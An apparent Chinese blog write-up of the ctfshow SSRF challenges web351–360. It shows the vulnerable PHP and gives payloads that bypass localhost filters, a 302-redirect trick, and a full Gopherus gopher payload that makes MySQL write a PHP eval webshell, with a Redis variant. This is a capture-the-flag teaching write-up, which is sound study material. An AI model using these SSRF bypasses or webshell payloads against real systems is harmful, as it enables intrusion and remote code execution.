ctfshow ssrf

最新推荐文章于 2024-03-14 20:33:56 发布
最新推荐文章于 2024-03-14 20:33:56 发布
阅读量191 收藏
点赞数
文章标签： linux php 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_74806534/article/details/130038471
版权

web 351

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

分析：

curl_init — 初始化 cURL 会话，返回 cURL 句柄，供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。 
注意：如果设置了 open_basedir，file 协议会被 cURL 禁用。 
curl_setopt — 设置 cURL 传输选项
curl_exec — 执行 cURL 会话

直接

url=http://127.0.0.1/flag.php
url=file:///var/www/html/flag.php

web 352

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

过滤了localhost和127.0.0

对其进行十六进制编码

十六进制
  url=http://0x7F.0.0.1/flag.php

八进制
  url=http://0177.0.0.1/flag.php

10 进制整数格式
  url=http://2130706433/flag.php

16 进制整数格式，还是上面那个网站转换记得前缀0x
  url=http://0x7F000001/flag.php

还有一种特殊的省略模式
  127.0.0.1写成127.1

用CIDR绕过localhost
  url=http://127.127.127.127/flag.php

还有很多方式
  url=http://0/flag.php
  url=http://0.0.0.0/flag.php

web 353

!preg_match('/localhost|127\.0\.|\。/i', $url)

同上

url=http://127.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0x7F000001/flag.php

url=http://0x7F.0.0.1/flag.php

url=http://2130706433/flag.php

url=http://0.0.0.0/flag.php

web 354

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

直接办掉了0和1

http://sudo.cc这个是解析到127.0.0.1的域名，直接用即可。

url=http://sudo.cc/flag.php

web 355

​
​
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

​

​

这里要求host<5,那就用省略

url=http://127.1/flag.php

web 356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

host<3

url=http://0/flag.php

web 357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?> 

gethostbyname — 返回主机名对应的 IPv4地址。 
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP（比如 255.255.255.255）
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP（比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334）
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP （比如 192.168.0.1）
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

即不能是私有地址，这里我们需要一个公网ip

利用302跳转和dns重绑定

302跳转 
在服务器上新建一个302.php，内容如下：

<?php 

header("Location:http://127.0.0.1/flag.php");

web 358

  <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

正则匹配：以以http://ctf.开头，以show结尾。

以show结尾比较好办，要么#show，要么?a=show这样的都可以。

以http://ctf.开头的话，加一个@127.0.0.1绕过，这样parse_url解析出来的host是127.0.0.1。

 

url=http://ctf.@127.0.0.1/flag.php?show

web 359

题目提示打无密码的mysql，这里感觉也算是盲打了，第一是不知道secure_file_priv的值，也就是说允不允许导入导出；第二是不知道当前网站路径有没有写入权限；

因为是无密码的mysql，

打开gopher小工具GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

使用方式：

将下载的文件，放在kali虚拟机中。打开终端，到下载文件的根目录下。输入以下：

python gopherus.py --exploit mysql

Give MySQL username: root
Give query to execute: select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php';

 生成一句话木马

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01

找到post传入点

 对3306/_后面再次进行url编码

 访问1.php，传参即可

 web 360

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

 其实和上一题一样，就是把mysql改成redis

python gopherus.py --exploit redis

 

 最后访问shell.php然后传参即可

小小邵同学
关注
【CTFSHOW】web入门SSRF
7ruth0hn的博客
06-21 1209
CTFSHOW web入门SSRF 发现学习渗透和ctf对xss,ssrf,csrf,ssti都有挺高要求的，一直没怎么系统刷过题。今天学习学习，补补之前落下的债(*￣3￣)╭ web351 扫描网站发现存在flag.php文件，通过分析和测试发现需要服务器本地访问，故使用传入127.0.0.1/flag.php web352 payload: web353 过滤代码： if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_
CTFshow SSRF(web351-360)
Kradress的博客
03-17 717
表示不允许私有IP地址（例如，10.0.0.0/8，172.16.0.0/12和192.168.0.0/16），而。后面要进行url编码，因为curl还会进行一次url解码。后面要进行url编码，因为curl还会进行一次url解码。显示网页内容，说明存在SSRF漏洞，那应该就是用。因为不能用私网，所以这题还是可以用。题目hint：打无密码的mysql。发现是一个登录框，抓个包看看，输入。，用于过滤和验证输入的IP地址。，这里可以用进制转换绕过。的返回结果，直接写马。的返回结果，直接写马。
2022网刃杯web
羽的博客
04-25 1543
signin 源码如下 <?php highlight_file(__FILE__); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); ?> 很明显的ssrf漏洞。用dict协议探测了下3306、6379、9000端口。应该是都没
CTFSHOW-SSRF
m0_74456293的博客
04-09 268
CTFSHOW-SSRF
CTFshow——SSRF
lee_maple的博客
04-23 3749
CTFshow——SSRF Web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result
ctfshow web入门 SSRF
Sentiment的博客
12-09 819
web351
ctfshow-ssrf
孤桜懶契
08-21 340
前言 记录web的题目wp，慢慢变强，铸剑。 SSRF SSRF(Server-Side Request Forgery: 服务器端请求第二天) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF 攻击的目标是从网无法访问的内部系统。（因为它是由服务端发起的，所以它能够请求到与它相关而与外部网隔离的内部系统） web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=cu
ctfshow 红包题第九弹 ssrf
qq_40327508的博客
11-25 1074
通过抓包登陆界面，发现存在ssrf漏洞 在通过ps猜测是ssrf打mysql 使用gopherus工具生成ssrf打mysql 的payload 之后放到burp中把参数在url编码一次 查看是否成功写入文件 成功写入，使用蚁剑连接
ctfshow-SSRF
qq_45655564的博客
07-01 495
web351-普通的ssrf本地访问 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?&
CTFshow之SSRF
qq_63928796的博客
11-22 377
无过滤，直接去访问本地的flag.php。
ctfshow-web355,356(SSRF)
m0_62094846的博客
06-28 289
host长度小于5，即127.0.0.1要小于5，可以写成127.1或0
ctf 监听端口_SSRF 漏洞分析与利用（含 CTF 例题）
weixin_33404919的博客
01-13 1669
原标题：SSRF 漏洞分析与利用(含 CTF 例题)16004488 总结了一些常见的姿势，以PHP为例，先上一张脑图，划√的是本文接下来实际操作的。 一、漏洞产生以curl为例，漏洞代码为ssrf.php$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_GET['url']);#curl_setopt($ch, CURLOPT_FOLLOWLOC...
以题为例浅谈SSRF
最新发布
weixin_74427106的博客
03-14 2444
如：http://example@127.0.0.1http://www.baidu.com@10.10.10.10和http://10.10.10.10请求时相同的它是需要做无回显的SSRF题，下面以题为例，介绍一下这个软件。
ctfshow-web入门-ssrf-351--360
yutianovo的博客
01-14 826
Web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?> 使用 file
[ctfshow-web入门]SSRF
nareku的博客
07-22 873
上来就是代码审计ssrf就是利用我们可以访问到的服务器，对其服务器下面的内网进行探测，也可以理解为服务器拥有外网ip，而我们要访问的电脑则是在公网ip进行nat后分配的内网ip构造payload(POST方式）......
ctfshowSSRF
遇事不决冲冲冲
10-02 3550
web351 <?php error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); ?> 没有防护直
ctfshow-web入门 ssrf篇
volcano的博客
03-06 2504
ctfshowSSRF简介危害web351web352parse_urlweb353更改IP地址写法web354web355web356web357web358web359(打无密码的mysql)web360(打redis) SSRF 简介 服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。 危害 SSRF可以对外网、
PHP判断http、https协议方法
李维山的博客
08-17 757
封装函数如下： function getServerSchema(){ if ( (!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (! empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (! empty($_SERVER['SERVER_PORT']) && $_SERV
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值